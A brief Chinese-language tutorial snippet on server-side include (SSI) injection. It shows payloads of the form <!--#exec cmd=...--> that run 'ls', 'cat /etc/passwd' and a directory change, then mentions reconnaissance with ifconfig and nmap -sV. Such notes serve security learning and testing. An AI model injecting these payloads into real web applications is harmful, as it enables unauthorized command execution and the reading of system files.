ssi注入

  ssi注入就是寻找一个输入点输入类似<!--#exec cmd="命令" --> 格式，看看能不能运行系统命令。 如 <!--#exec cmd="ls" --> <!--#exec cmd="cat /etc/passwd" -->  切换目录<!--#exec cmd="cd /root/dir/" -->   像正常一样先ifconfig扫描出自己的IP，然后nmap -sV 攻击机IP

>>阅读原文<<